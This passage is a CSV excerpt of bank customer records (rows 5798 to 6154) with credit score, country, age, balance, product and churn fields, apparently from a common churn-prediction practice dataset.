+5798,15775206,Hunter,699,France,Male,37,10,0,2,0,0,83263.04,0 +5799,15797627,Niehaus,732,Spain,Male,54,0,134249.7,1,0,1,13404.4,0 +5800,15649853,Craig,625,France,Female,45,3,0,1,1,1,184474.15,1 +5801,15610379,Barclay-Harvey,599,France,Male,30,9,105443.68,1,1,1,121124.53,0 +5802,15659800,Teng,584,Spain,Female,50,1,0,1,0,1,152567.75,1 +5803,15716236,Milani,499,France,Male,35,10,0,2,1,0,10722.54,0 +5804,15672053,Mistry,526,Spain,Male,38,2,0,2,0,0,58010.98,0 +5805,15663933,Jamieson,625,Germany,Female,35,5,86147.46,2,1,0,163440.8,1 +5806,15814236,Kay,537,Spain,Female,38,1,96939.06,1,1,1,102606.92,0 +5807,15583597,Ikedinachukwu,696,Spain,Male,47,1,106758.6,1,1,1,80591.18,0 +5808,15607395,Holt,679,France,Female,33,9,112528.65,2,1,0,177362.45,0 +5809,15694556,Nkemakolam,684,France,Male,60,2,116563.58,1,1,0,120257.7,1 +5810,15744109,Hartung,850,France,Male,32,4,0,1,1,1,180622.02,0 +5811,15800688,Ch'en,495,Spain,Female,42,7,0,2,0,0,130404.53,0 +5812,15810878,Baker,537,Spain,Female,38,6,141786.78,1,0,1,147797.54,0 +5813,15587835,Osinachi,850,France,Male,41,3,136416.82,1,0,1,57844.26,0 +5814,15763515,Shih,513,France,Male,30,5,0,2,1,0,162523.66,0 +5815,15725882,Feng,618,Germany,Female,40,1,133245.52,2,1,1,54495.82,0 +5816,15788022,Sternberg,802,Germany,Female,41,4,90757.64,2,0,1,169183.66,0 +5817,15663917,Adams,547,France,Male,43,1,92350.36,1,0,1,80262.91,0 +5818,15656865,Gray,613,Germany,Male,69,9,78778.49,1,0,1,8751.59,0 +5819,15667971,Shepherd,592,Germany,Female,34,6,102143.93,2,1,1,102628.98,0 +5820,15800366,Walton,546,France,Male,29,5,0,1,1,1,94823.95,0 +5821,15717231,Yang,721,Germany,Male,37,4,98459.6,1,0,0,90821.66,0 +5822,15643188,Barnett,671,Germany,Female,47,7,114603.76,2,1,0,153194.32,1 +5823,15671351,Romani,624,Spain,Male,35,2,0,2,1,0,87310.59,0 +5824,15573628,Greene,751,Germany,Female,51,7,148074.79,1,1,0,146411.41,1 +5825,15698953,Hart,636,Spain,Male,36,1,0,3,1,1,74048.1,1 +5826,15753888,Johnston,607,Spain,Female,62,8,108004.64,1,1,1,23386.77,1 +5827,15737961,Miller,509,Germany,Female,29,0,107712.57,2,1,1,92898.17,0 +5828,15801701,Robson,653,Spain,Male,35,9,0,2,1,1,45956.05,0 +5829,15684419,Wallace,709,Spain,Female,37,8,0,3,1,0,71738.56,0 +5830,15794266,Cross,559,France,Male,32,9,145303.52,1,1,0,103560.98,0 +5831,15810711,Marcum,684,Germany,Male,37,4,138476.41,2,1,1,52367.29,0 +5832,15771270,North,635,France,Female,27,8,127471.56,1,1,1,152916.05,1 +5833,15607786,Mao,709,France,Male,26,6,156551.63,1,0,1,4410.77,0 +5834,15624519,Calabrese,656,Germany,Female,49,9,97092.87,1,1,0,74771.22,1 +5835,15799910,Martin,793,France,Male,32,2,0,2,1,0,193817.63,1 +5836,15602479,Fleming,609,Spain,Male,37,5,129312.79,1,1,1,26793.82,0 +5837,15617419,Roberts,618,Germany,Female,29,10,100315.1,2,1,1,32526.64,0 +5838,15657603,Finch,850,France,Female,35,6,81684.97,1,1,0,824,0 +5839,15570379,Whitelegge,669,Spain,Male,51,3,88827.53,1,0,0,85250.77,1 +5840,15772996,Rooke,594,Germany,Male,40,0,152092.44,2,1,1,83508.93,0 +5841,15729574,Lu,616,Spain,Male,71,4,0,2,1,1,173599.38,0 +5842,15737267,Marcelo,676,France,Female,49,1,0,1,1,0,79342.31,1 +5843,15799128,Matthews,608,Spain,Female,38,9,102406.76,1,0,1,57600.66,0 +5844,15813327,Romani,710,France,Male,21,4,109130.96,2,1,1,56191.99,0 +5845,15711921,Scott,695,France,Male,29,5,0,2,1,1,6770.44,0 +5846,15654300,Mao,530,Germany,Male,33,9,75242.28,1,0,1,101694.67,0 +5847,15569945,Horsley,509,Spain,Male,29,1,0,2,1,0,69113.14,0 +5848,15569666,Goddard,517,France,Female,45,4,0,1,0,0,172674.36,1 +5849,15681887,Eskridge,758,Germany,Male,33,0,129142.54,2,1,1,26606.28,0 +5850,15608873,Smith,665,France,Male,51,2,0,1,0,0,53353.36,0 +5851,15762091,Simpson,631,Germany,Female,22,6,139129.92,1,1,1,63747.51,0 +5852,15722053,Oguejiofor,576,Spain,Male,33,3,0,2,0,1,190112.05,0 +5853,15782100,Holloway,544,Spain,Male,22,3,66483.32,1,0,1,110317.39,0 +5854,15765300,L?,596,Germany,Male,40,5,62389.03,3,1,0,148623.43,1 +5855,15743570,Feng,481,France,Female,34,5,0,2,1,1,125253.46,0 +5856,15608541,Claiborne,498,France,Male,46,1,91857.66,1,1,0,101954.78,1 +5857,15750671,Egobudike,512,Spain,Male,31,6,0,2,1,0,168462.26,0 +5858,15813659,Folliero,594,France,Female,56,7,0,1,1,0,26215.85,1 +5859,15757867,Bray,570,France,Female,30,10,176173.52,1,1,0,97045.32,1 +5860,15652914,Ibrahimov,721,Spain,Male,38,7,0,1,0,1,53534.8,0 +5861,15723818,Carpenter,453,France,Female,37,4,131834.76,2,1,0,8949.2,0 +5862,15713819,Walsh,562,France,Male,48,3,92347.96,1,1,1,163116.75,0 +5863,15656484,Woods,682,France,Male,40,4,0,2,1,1,140745.91,0 +5864,15778515,Wu,748,France,Male,40,3,95297.11,1,0,0,171515.84,0 +5865,15803840,Forbes,729,France,Female,32,9,0,2,0,0,150803.44,0 +5866,15735339,Lynch,663,France,Male,39,4,0,1,1,0,76884.05,0 +5867,15600392,Amaechi,735,France,Female,53,8,123845.36,2,0,1,170454.93,1 +5868,15625740,Enriquez,627,Germany,Male,62,3,143426.34,2,1,1,143104.3,0 +5869,15663817,Y?an,713,France,Male,46,5,0,1,1,1,55701.62,0 +5870,15734461,Brooks,562,Germany,Male,31,2,112708.2,1,0,1,186370.3,0 +5871,15780142,Wang,632,France,Male,43,2,100013.51,1,1,0,24275.32,0 +5872,15709920,Burke,479,France,Female,33,2,208165.53,1,0,0,50774.81,1 +5873,15684248,Meng,658,Spain,Male,21,7,0,2,0,1,154279.87,0 +5874,15643158,Chiganu,598,France,Female,40,9,0,1,1,0,68462.59,1 +5875,15693902,Hunt,597,France,Male,19,2,0,2,1,1,91036.74,0 +5876,15578307,Lucchese,512,France,Female,33,6,121685.31,2,1,1,83681.97,0 +5877,15585379,Humphries,704,France,Male,39,2,111525.02,1,1,0,199484.96,0 +5878,15758510,Frolova,474,France,Male,26,6,0,2,0,0,152491.22,0 +5879,15692918,Hsing,604,Germany,Male,36,10,113546.3,1,1,1,134875.37,0 +5880,15705301,Parkes,683,France,Male,41,6,95696.52,2,1,1,184366.14,0 +5881,15718231,Gregory,537,France,Male,28,0,88963.31,2,1,1,189839.93,0 +5882,15567991,Obiuto,794,Spain,Male,31,0,144880.34,2,0,1,175643.44,0 +5883,15772650,Longo,732,France,Male,55,9,136576.02,1,0,1,3268.17,1 +5884,15574795,Lombardo,495,France,Female,38,2,63093.01,1,1,1,47089.72,0 +5885,15706036,Lombardo,552,Germany,Male,38,10,132271.12,2,1,1,46562.02,0 +5886,15723856,Gonzalez,602,France,Female,29,3,88814.4,2,1,1,62487.97,0 +5887,15812920,Nwabugwu,607,Germany,Male,40,5,90594.55,1,0,1,181598.25,0 +5888,15691287,Ford,675,Germany,Female,33,0,141816.25,1,1,0,64815.05,1 +5889,15804797,Gilleland,443,France,Female,54,3,138547.97,1,1,1,70196.23,1 +5890,15708650,Fullwood,727,France,Female,31,2,52192.08,2,0,1,160383.47,0 +5891,15712777,Kao,482,France,Male,38,4,124976.19,1,1,0,35848.12,0 +5892,15786469,Montalvo,686,France,Female,34,1,0,2,1,0,87278.48,0 +5893,15669219,Wilson,588,Germany,Male,35,3,104356.38,1,1,0,94498.82,0 +5894,15641004,Doyne,605,Spain,Female,48,10,150315.92,1,0,1,133486.36,0 +5895,15648067,Onwuamaeze,583,France,Male,39,1,129299.28,2,1,0,73107.6,0 +5896,15704014,K'ung,738,Germany,Male,37,7,140950.92,2,1,0,195333.98,0 +5897,15645136,O'Donnell,744,Spain,Male,30,1,128065.12,1,1,0,121525.48,0 +5898,15709604,McMillan,781,France,Male,23,2,107433.48,1,1,0,173843.21,0 +5899,15713637,Chinedum,699,France,Male,34,2,117468.67,1,1,0,185227.42,0 +5900,15793901,Capon,639,France,Female,27,2,0,2,0,0,125244.18,0 +5901,15569759,Rawling,583,France,Female,27,4,0,3,1,0,163113.41,0 +5902,15712930,Duncan,587,France,Male,42,1,0,1,0,0,123006.91,0 +5903,15586504,Trevisani,694,France,Male,40,9,0,2,1,0,40463.03,0 +5904,15677317,Ankudinova,570,France,Female,29,4,153040.03,1,1,1,131363.57,1 +5905,15664270,Balsillie,692,Germany,Male,45,6,142084.04,4,1,0,188305.85,1 +5906,15731519,Kerr,511,France,Female,30,5,0,2,1,0,143994.86,0 +5907,15745623,Worsnop,788,France,Male,32,4,112079.58,1,0,0,89368.59,0 +5908,15813862,Yevseyev,526,Spain,Male,66,7,132044.6,2,1,1,158365.89,0 +5909,15641934,Manna,749,Spain,Female,46,9,66582.81,1,1,0,78753.12,1 +5910,15713043,Siciliani,691,France,Female,33,6,0,2,1,1,100408.31,0 +5911,15700749,Powell,481,France,Female,39,6,0,1,1,1,24677.54,0 +5912,15697567,Bazarova,752,France,Male,33,4,0,2,1,1,39570.78,0 +5913,15715414,White,658,France,Female,38,6,102895.1,1,0,0,155665.76,0 +5914,15639530,Buda,679,Spain,Male,42,2,0,1,1,1,168294.27,0 +5915,15726058,Cattaneo,754,Germany,Male,27,7,117578.35,2,0,1,87908.01,0 +5916,15725665,Lo,679,France,Male,47,10,198546.1,2,1,0,191198.92,1 +5917,15698872,Brown,633,Spain,Female,39,2,0,2,0,0,191207.03,0 +5918,15812184,Rose,674,France,Female,31,1,0,1,1,0,128954.05,0 +5919,15742609,Lombardo,600,Germany,Male,28,2,116623.31,1,0,1,59905.29,0 +5920,15815043,McMillan,645,Spain,Male,49,8,0,2,1,0,162012.6,0 +5921,15640648,Howe,698,France,Male,36,6,0,2,0,1,19231.98,0 +5922,15627203,Hsu,508,Spain,Male,54,10,0,1,1,1,175749.36,0 +5923,15786196,Han,555,France,Female,44,3,105770.7,3,1,0,60533.96,1 +5924,15612095,Calabrese,751,France,Female,48,9,0,1,1,0,137508.42,1 +5925,15674368,Riley,738,France,Female,39,1,94435.45,2,0,1,189430.86,0 +5926,15783477,Biryukov,706,Germany,Female,39,8,112889.91,1,0,1,6723.66,0 +5927,15757559,Broadhurst,595,France,Female,53,7,0,2,1,0,41371.68,1 +5928,15591036,Genovesi,577,Germany,Female,43,3,127940.47,1,0,0,125140.72,1 +5929,15761241,Hsieh,578,Germany,Female,36,8,129745.1,1,1,1,143683.75,0 +5930,15695078,Kemp,699,France,Male,32,3,0,2,1,1,170770.44,0 +5931,15645744,Chukwudi,826,France,Female,30,5,0,2,0,1,157397.57,0 +5932,15566988,Iqbal,656,Germany,Female,46,7,141535.52,1,1,0,50595.15,1 +5933,15749300,Teng,556,France,Female,47,2,139914.27,1,1,1,50390.98,0 +5934,15594340,Tao,569,France,Male,41,4,120243.49,1,1,0,163150.03,1 +5935,15607065,Chinedum,765,France,Male,34,9,91835.16,1,0,0,138280.17,0 +5936,15778089,Stevenson,544,Spain,Male,37,2,0,2,0,0,135067.02,0 +5937,15773723,Duncan,588,Spain,Female,22,9,67178.19,1,1,1,163534.75,1 +5938,15697035,Garrett,740,Spain,Female,31,8,0,2,0,0,86657.48,0 +5939,15679668,Yao,850,Spain,Male,38,7,115378.94,1,0,1,162087.82,0 +5940,15709861,He,766,Germany,Male,30,4,127786.28,2,1,1,28879.3,0 +5941,15791958,Mazzi,849,France,Female,41,6,0,2,1,1,169203.51,1 +5942,15791030,Edwards,612,France,Female,33,0,64900.32,2,1,0,102426.12,0 +5943,15695339,Lucchesi,517,Germany,Male,53,0,109172.88,1,1,0,54676.1,1 +5944,15658813,Siciliani,645,France,Female,55,7,0,2,1,1,18369.33,0 +5945,15715709,Shih,696,Germany,Male,43,4,114091.38,1,0,1,159888.1,0 +5946,15722533,Logue,716,France,Female,40,3,0,2,0,1,167636.15,0 +5947,15683118,Rechner,590,France,Male,32,9,0,2,1,0,138889.15,0 +5948,15672798,O'Brien,656,France,Female,45,7,145933.27,1,1,1,199392.14,0 +5949,15680112,Stewart,473,Germany,Female,35,7,131504.73,1,1,0,189560.43,0 +5950,15714575,Batt,742,Germany,Female,44,8,107926.02,1,0,1,17375.27,1 +5951,15806808,Hope,834,Germany,Female,57,8,112281.6,3,1,0,140225.14,1 +5952,15590637,Ahmed,721,France,Male,41,7,0,2,0,1,61018.85,0 +5953,15657535,Pearson,590,Spain,Male,29,10,0,1,1,1,51907.72,1 +5954,15696141,Kruglov,516,Spain,Female,31,7,0,1,1,0,47018.75,0 +5955,15811947,Gordon,850,France,Male,33,0,124781.67,1,0,1,33700.52,0 +5956,15649024,Trujillo,748,France,Female,39,9,132865.56,1,1,1,59636.43,1 +5957,15594928,Pagnotto,798,Germany,Female,38,4,129055.13,1,1,0,157147.59,0 +5958,15765532,Horton,612,Germany,Male,76,6,96166.88,1,1,1,191393.26,0 +5959,15741719,DeRose,540,France,Female,40,3,165298.12,1,0,1,199862.75,0 +5960,15665629,Chiang,719,Spain,Female,33,7,0,2,1,0,20016.59,0 +5961,15728917,Gill,598,France,Male,48,6,120682.53,1,1,0,30635.52,1 +5962,15762993,Trevisano,796,Spain,Male,32,5,102773.15,2,0,1,117832.88,0 +5963,15571193,Morrison,579,Germany,Male,42,0,144386.32,1,1,1,22497.1,1 +5964,15653521,Onuora,850,Germany,Female,40,7,104449.8,1,1,1,747.88,0 +5965,15802220,Ikenna,599,Spain,Male,35,6,137102.65,1,0,0,76870.81,0 +5966,15644132,Mancini,724,France,Female,30,9,142475.87,1,1,1,107848.24,0 +5967,15600832,Moss,508,France,Female,43,9,0,1,1,0,103726.71,0 +5968,15797919,Ting,773,Spain,Male,37,2,103195.2,2,1,0,178268.36,0 +5969,15603743,Tai,526,France,Male,28,1,112070.44,1,0,1,126281.83,0 +5970,15579714,Pan,542,France,Female,29,7,0,2,0,1,196651.72,0 +5971,15634295,Wilson,470,France,Male,35,1,96473.59,1,0,0,5962.3,0 +5972,15786680,Bianchi,805,Spain,Male,37,5,0,2,1,0,21928.81,0 +5973,15623499,Holman,548,Germany,Male,49,9,108437.89,1,0,0,127022.87,1 +5974,15691823,Obidimkpa,672,France,Male,37,5,153195.59,1,1,1,162763.01,0 +5975,15809279,Wallace,773,France,Male,45,8,96877.21,1,1,1,113950.51,0 +5976,15758039,Ash,614,France,Male,44,6,0,2,0,1,104930.46,0 +5977,15807163,Ku,537,France,Female,38,10,0,1,0,0,52337.97,1 +5978,15631639,Uspensky,704,France,Female,40,6,95452.89,1,0,1,179964.55,0 +5979,15713770,Shih,586,Spain,Male,41,3,63873.56,1,1,0,83753.64,0 +5980,15698167,Kumm,677,France,Female,24,0,148298.59,2,0,0,182913.95,0 +5981,15781710,Carey,558,Spain,Female,31,7,0,2,1,0,166720.28,0 +5982,15801296,Farber,634,Germany,Female,37,7,143258.85,2,1,0,192721.98,0 +5983,15704378,Calabrese,655,Germany,Male,37,9,121342.24,1,1,1,180241.44,0 +5984,15767891,Findlay,619,Germany,Female,28,6,99152.73,2,1,0,48475.12,0 +5985,15640667,Yu,662,France,Female,41,4,0,2,1,0,126551.48,0 +5986,15702145,Edments,705,Spain,Male,33,7,68423.89,1,1,1,64872.55,0 +5987,15679738,Brown,527,Spain,Female,35,8,0,1,1,0,98031.53,1 +5988,15636634,Lindon,630,Germany,Female,25,7,79656.81,1,1,0,93524.22,0 +5989,15809227,Chukwudi,850,France,Male,35,2,0,2,1,1,56991.66,0 +5990,15601811,Caldwell,668,France,Female,53,10,110240.04,1,0,0,183980.56,1 +5991,15625494,Li Fonti,573,France,Female,32,9,125321.84,2,1,1,130234.63,0 +5992,15723737,Pitcher,680,France,Male,27,3,0,1,1,0,32454.26,0 +5993,15682955,Capon,758,France,Female,32,2,84378.9,1,1,1,75396.43,0 +5994,15758856,Kable,597,France,Male,45,7,0,2,0,0,167756.45,0 +5995,15746065,Lo Duca,580,Germany,Male,35,10,136281.41,2,1,1,24799.47,0 +5996,15783865,Kulikova,622,France,Male,59,5,119380.37,1,1,1,60429.43,0 +5997,15745455,Navarrete,638,Germany,Male,62,4,108716.59,2,1,1,74241.09,0 +5998,15583033,Huguley,640,France,Female,20,4,0,2,0,1,78310.82,0 +5999,15644212,Han,644,Spain,Male,28,0,0,2,1,0,119419.37,0 +6000,15735688,Horsley,753,France,Female,31,6,106596.29,1,0,0,91305.77,0 +6001,15658577,Massie,629,France,Female,37,10,99546.25,3,0,1,25136.95,1 +6002,15606887,Singh,775,France,Female,30,5,0,1,1,0,193880.6,1 +6003,15783026,H?,701,France,Female,41,2,0,1,1,0,47856.78,0 +6004,15579892,Doyle,708,Spain,Male,19,7,112615.86,1,1,1,4491.77,0 +6005,15802088,Grant,521,Spain,Female,22,10,0,1,1,1,101311.95,0 +6006,15589323,Law,636,France,Female,24,9,0,2,0,1,38830.72,0 +6007,15636395,King,529,France,Female,31,5,0,2,1,0,26817.23,0 +6008,15712772,Onwubiko,757,France,Male,28,3,75381.15,1,1,1,199727.72,0 +6009,15700937,Romano,767,Spain,Female,24,5,0,2,1,1,67445.85,0 +6010,15766659,Okwudilichukwu,525,Spain,Male,33,5,0,2,1,0,161002.29,0 +6011,15814033,Milano,759,Spain,Male,38,1,0,2,1,0,20778.39,0 +6012,15783007,Parker,520,Germany,Female,45,1,123086.39,1,1,1,41042.4,1 +6013,15654183,Aitken,738,France,Female,26,3,0,2,1,0,67484.16,0 +6014,15609899,Obiora,548,Spain,Male,37,4,0,1,1,0,121763.68,0 +6015,15747323,Vasilyeva,535,Spain,Male,48,9,109472.47,1,1,0,157358.43,1 +6016,15582591,Chiabuotu,615,Spain,Male,59,4,155766.05,1,1,1,110275.17,0 +6017,15738835,Slater,850,Germany,Male,38,7,101985.81,2,0,0,43801.27,0 +6018,15782404,Hughes,487,France,Female,34,2,96019.5,1,0,0,9085,0 +6019,15697480,Menkens,731,France,Male,30,7,0,2,0,1,143086.09,0 +6020,15697045,Pisani,726,Spain,Female,35,9,0,2,0,1,100556.98,0 +6021,15781234,Y?an,609,France,Female,35,2,147900.43,1,1,0,140000.29,0 +6022,15579891,Milani,714,France,Male,52,4,100755.66,1,1,1,186775.25,0 +6023,15805690,Chin,694,Spain,Female,35,7,0,1,1,0,133570.43,1 +6024,15612139,Fu,786,France,Female,33,0,83036.05,1,0,1,154990.58,1 +6025,15568834,Howells,698,Spain,Male,27,6,125427.37,2,0,0,27654.44,0 +6026,15709917,Ni,601,France,Female,46,3,98202.76,1,0,0,137763.93,0 +6027,15718843,Maslova,769,Spain,Male,41,1,72509.91,1,1,0,25723.73,0 +6028,15799494,Forster,850,Germany,Male,44,3,140393.65,2,0,1,186285.52,0 +6029,15673439,Sun,646,Spain,Female,50,5,142644.64,2,1,1,142208.5,1 +6030,15669011,Bocharova,659,France,Female,44,9,23503.31,1,0,1,169862.01,1 +6031,15581388,Y?an,487,Spain,Male,33,8,145729.71,1,1,0,41365.85,0 +6032,15743153,Singh,740,Germany,Female,40,2,122295.17,2,1,1,30812.84,0 +6033,15579787,Nkemakonam,686,France,Male,39,4,0,2,1,0,155023.93,0 +6034,15759966,Chiemenam,612,Spain,Female,36,5,119799.27,2,1,0,159416.58,0 +6035,15601045,Angelo,655,Spain,Male,37,8,163708.58,2,0,0,76259.23,0 +6036,15764021,Frolov,617,France,Male,34,1,61687.33,2,1,0,105965.25,0 +6037,15687218,West,674,France,Female,27,4,79144.34,1,0,1,50743.83,0 +6038,15626452,Beatham,711,Spain,Male,32,5,0,2,1,1,147720.27,0 +6039,15700964,Pollard,624,Germany,Female,27,7,104848.68,1,1,1,167387.36,0 +6040,15768887,Hsing,597,Spain,Male,26,5,0,2,0,1,95159.13,0 +6041,15735358,Dowse,682,Spain,Male,46,4,0,1,1,1,4654.28,0 +6042,15749472,Lucciano,775,France,Male,45,8,0,1,1,0,130376.68,0 +6043,15685872,Godfrey,727,France,Female,29,1,146652.01,1,1,1,173486.39,0 +6044,15760851,Gratton,629,France,Male,31,6,0,2,1,0,93881.75,0 +6045,15734588,Manning,684,France,Male,46,0,0,2,1,1,36376.97,0 +6046,15784594,Mazzi,549,Germany,Female,37,1,130622.34,2,1,1,128499.94,0 +6047,15606435,Wall,593,Germany,Male,69,2,187013.13,2,0,1,105898.69,0 +6048,15790247,Sims,536,Spain,Male,40,9,0,2,1,1,11959.03,0 +6049,15676433,Allan,707,France,Female,36,6,0,1,0,0,98810.78,0 +6050,15625905,Griffen,592,Spain,Male,41,0,0,2,1,0,65906.07,0 +6051,15626414,Russell,703,France,Male,44,6,98862.54,1,1,0,151516.7,0 +6052,15623220,Brown,723,Spain,Female,45,4,0,2,1,0,37214.39,0 +6053,15752857,Palerma,452,Germany,Male,52,1,98443.14,2,0,0,92033.98,0 +6054,15677908,Gilbert,552,Spain,Male,42,4,0,2,0,0,195692.3,0 +6055,15773013,Uvarov,633,France,Female,47,0,0,1,1,1,6342.84,1 +6056,15623972,Wisdom,479,Germany,Female,23,9,123575.51,1,0,1,95148.28,0 +6057,15738627,Hussain,768,France,Male,25,6,0,2,1,1,21215.67,0 +6058,15643392,Woods,742,France,Male,31,4,105239.1,1,1,1,19700.24,0 +6059,15684868,Cameron,668,Germany,Male,56,9,110993.79,1,1,0,134396.64,1 +6060,15627854,Mai,707,Spain,Male,44,3,0,2,1,1,135077.01,0 +6061,15669253,Gibson,754,Spain,Male,39,7,157691.98,2,1,0,133600.89,1 +6062,15758023,Grigoryeva,544,Germany,Male,47,5,105245.21,1,0,0,99922.08,1 +6063,15574558,Gunter,718,Spain,Male,32,8,0,2,1,1,41399.33,0 +6064,15635256,Arcuri,762,France,Male,31,7,117687.35,1,1,1,159344.43,0 +6065,15680399,Tung,772,France,Male,23,2,0,2,1,0,18364.19,0 +6066,15674720,Smith,691,Germany,Female,37,7,123067.63,1,1,1,98162.44,1 +6067,15580249,Lori,502,France,Male,45,0,0,1,0,0,84663.21,0 +6068,15675431,Chidimma,563,France,Female,34,6,0,2,0,0,36536.93,0 +6069,15698285,Ting,676,France,Female,41,4,101457.14,1,1,1,79101.67,0 +6070,15810775,Tsao,576,Spain,Male,52,2,100549.43,2,1,1,16644.16,0 +6071,15678173,Collee,629,Spain,Male,35,4,174588.8,2,0,1,158420.14,0 +6072,15665222,Lettiere,625,Spain,Male,52,8,121161.57,1,1,0,48988.28,0 +6073,15803908,Fu,628,France,Male,45,9,0,2,1,1,96862.56,0 +6074,15586039,Bergamaschi,471,Germany,Female,36,5,90063.74,2,1,1,96366.7,0 +6075,15802570,Dyer,811,France,Female,45,5,0,2,1,1,146123.19,0 +6076,15781451,Buccho,504,France,Male,42,3,134936.97,2,0,0,135178.91,0 +6077,15721019,Jones,687,France,Female,24,3,110495.27,1,1,0,158615.41,0 +6078,15738588,Nebechi,660,Germany,Female,37,2,133200.09,1,0,0,71433.88,0 +6079,15730657,Ibekwe,548,France,Female,41,4,82596.8,1,0,1,55672.09,0 +6080,15739292,Gorshkov,609,Germany,Male,31,9,103837.75,1,1,1,150218.11,0 +6081,15725945,Nweke,659,Spain,Female,42,2,0,1,0,0,162734.31,1 +6082,15813159,Hairston,526,France,Male,52,8,93590.47,1,0,1,21228.71,1 +6083,15636820,Loggia,725,Germany,Male,40,8,104149.66,1,1,0,62027.9,0 +6084,15603880,Morgan,519,Germany,Male,38,1,114141.64,1,1,1,60988.21,1 +6085,15619494,Abdulov,562,Germany,Female,31,9,117153,1,1,1,108675.01,0 +6086,15596992,Norris,482,Germany,Male,45,7,156353.46,1,1,0,72643.95,1 +6087,15735025,Clark,535,Spain,Male,37,3,175534.78,2,1,1,9241.52,0 +6088,15730759,Chukwudi,561,France,Female,27,9,135637,1,1,0,153080.4,1 +6089,15752912,Perkin,661,France,Female,30,7,0,2,1,0,72196.57,0 +6090,15711316,Ch'ang,771,France,Male,27,2,0,2,1,1,199527.34,0 +6091,15738785,Kang,545,France,Male,26,7,0,2,0,1,156598.23,0 +6092,15777896,Chukwudi,850,Germany,Female,33,2,83415.04,1,0,1,74917.64,0 +6093,15628963,Frolova,601,Germany,Male,43,3,141859.12,2,1,1,111249.62,0 +6094,15742126,Chiu,712,Germany,Male,38,7,132767.66,2,1,1,59115.77,0 +6095,15575623,Simpson,589,France,Female,31,10,110635.32,1,1,0,148218.86,0 +6096,15741652,McLean,600,Spain,Male,37,8,177657.35,1,1,1,77142.32,0 +6097,15738884,Hu,642,Germany,Male,41,4,157777.58,1,1,0,67484.6,0 +6098,15615050,Savage,575,Germany,Male,47,9,107915.94,2,1,1,63452.18,1 +6099,15803005,Wallace,570,Germany,Female,57,5,86568.75,1,0,1,103660.31,0 +6100,15743498,Winter,532,Germany,Male,52,9,137755.76,1,1,0,163191.99,1 +6101,15720463,Ho,796,France,Male,30,2,137262.71,2,1,0,62905.29,0 +6102,15588695,Su,833,Spain,Male,32,6,0,1,1,1,44323.22,1 +6103,15665802,Li Fonti,642,Spain,Female,36,6,0,2,1,1,97938.59,0 +6104,15571144,Ives,655,France,Male,28,10,0,2,0,1,126565.21,0 +6105,15750731,Trevisani,736,Germany,Male,50,9,116309.01,1,1,0,185360.4,1 +6106,15605134,Bond,617,France,Female,34,0,131244.65,2,1,0,183229.02,0 +6107,15626044,Lettiere,762,Germany,Male,28,3,125155.83,2,1,1,106024.02,0 +6108,15737910,Houghton,703,Germany,Male,35,5,140691.08,2,1,0,167810.26,0 +6109,15761076,Lei,507,France,Male,41,3,58820.32,2,1,1,138536.09,0 +6110,15710105,Stirling,581,Germany,Female,26,3,105099.45,1,1,1,184520,1 +6111,15577402,Grant,593,France,Male,31,9,0,2,0,1,20492.16,0 +6112,15803337,Baresi,648,France,Male,23,9,168372.52,1,1,0,134676.72,0 +6113,15654372,Pearce,462,Germany,Male,34,1,94682.56,2,1,0,138478.2,0 +6114,15585867,Rutledge,596,Spain,Male,36,2,0,2,0,1,125557.95,0 +6115,15662488,Udegbunam,627,France,Female,44,5,0,2,1,0,82969.61,1 +6116,15604813,Zaytseva,494,France,Male,40,7,0,2,0,1,158071.69,0 +6117,15611644,Onyemauchechukwu,627,France,Male,73,0,146329.73,1,0,1,43615.67,0 +6118,15674928,Mullah,850,Spain,Male,37,2,0,2,1,0,119969.99,0 +6119,15656100,Candler,632,France,Female,49,5,167962.7,1,0,0,140201.21,0 +6120,15764293,Konovalova,490,France,Male,33,1,0,2,1,1,80792.83,0 +6121,15636423,Lei,715,France,Male,40,7,0,1,1,1,141359.11,0 +6122,15607629,Hollis,679,France,Male,48,8,0,2,1,0,23344.94,0 +6123,15577313,Lionel,619,France,Male,44,3,116967.68,1,1,0,5075.17,1 +6124,15714493,Francis,465,Spain,Female,33,6,0,2,1,1,95500.98,0 +6125,15643359,Carter,736,Spain,Male,32,7,0,1,0,1,79082.62,0 +6126,15687913,Mai,501,Germany,Female,34,7,93244.42,1,0,1,199805.63,0 +6127,15790935,Johnson,535,France,Female,29,5,0,2,0,1,52709.55,0 +6128,15708693,Sherman,759,France,Female,33,2,0,2,1,0,56583.88,0 +6129,15672016,Sabbatini,819,France,Male,35,1,0,2,0,1,3385.04,0 +6130,15727605,Shih,533,Germany,Male,43,4,80442.06,2,0,1,12537.42,0 +6131,15651144,Yao,632,Germany,Female,35,2,150561.03,2,0,0,64722.61,0 +6132,15749401,Ko,686,France,Male,60,9,0,3,1,1,75246.21,1 +6133,15691874,Kazakova,687,France,Female,34,9,125474.44,1,1,0,198929.84,0 +6134,15620735,Chiganu,667,Germany,Female,33,4,127076.68,2,1,0,69011.66,0 +6135,15769781,Nucci,699,Spain,Female,25,8,0,2,1,1,52404.47,0 +6136,15624611,Marsden,497,Spain,Male,37,8,128650.11,2,1,1,163641.53,0 +6137,15773071,Serena,780,Spain,Female,33,6,145580.61,1,1,1,154598.56,0 +6138,15720371,McLean,652,France,Female,51,3,0,1,1,0,173989.47,1 +6139,15717984,Longo,477,France,Male,47,9,144900.58,1,1,0,61315.37,1 +6140,15806407,Wilson,652,France,Female,37,4,0,2,1,0,143393.24,0 +6141,15785042,Hsiung,488,France,Female,31,8,97588.6,1,0,0,124210.53,0 +6142,15809302,Wright,572,France,Male,24,1,0,2,1,1,151460.84,0 +6143,15677550,Folliero,755,France,Female,38,1,0,2,1,0,20734.81,0 +6144,15654096,Johnston,779,Germany,Female,24,10,122200.31,2,1,0,43705.56,0 +6145,15617320,Palermo,693,Spain,Female,46,3,151709.33,1,1,0,180736.24,0 +6146,15653065,Nwabugwu,530,Spain,Female,22,7,0,2,1,0,104170.48,0 +6147,15649112,Endrizzi,738,Spain,Female,33,3,122134.4,2,0,1,27867.59,0 +6148,15690526,Tuan,690,Germany,Male,31,2,137260.45,2,1,0,55387.28,0 +6149,15806945,Udobata,611,France,Female,30,9,88594.14,1,1,0,196332.45,0 +6150,15670066,Ibezimako,643,Spain,Male,34,6,0,2,1,1,116046.22,0 +6151,15625761,Maclean,632,Germany,Male,41,8,127205.32,4,1,0,93874.87,1 +6152,15761525,Shaw,727,Spain,Female,31,10,96997.09,2,0,0,76614.04,0 +6153,15735080,Cummins,508,France,Female,64,2,0,1,1,1,6076.62,0 +6154,15619537,Lavrentiev,550,France,Male,31,5,142200.19,2,1,1,122221.71,0 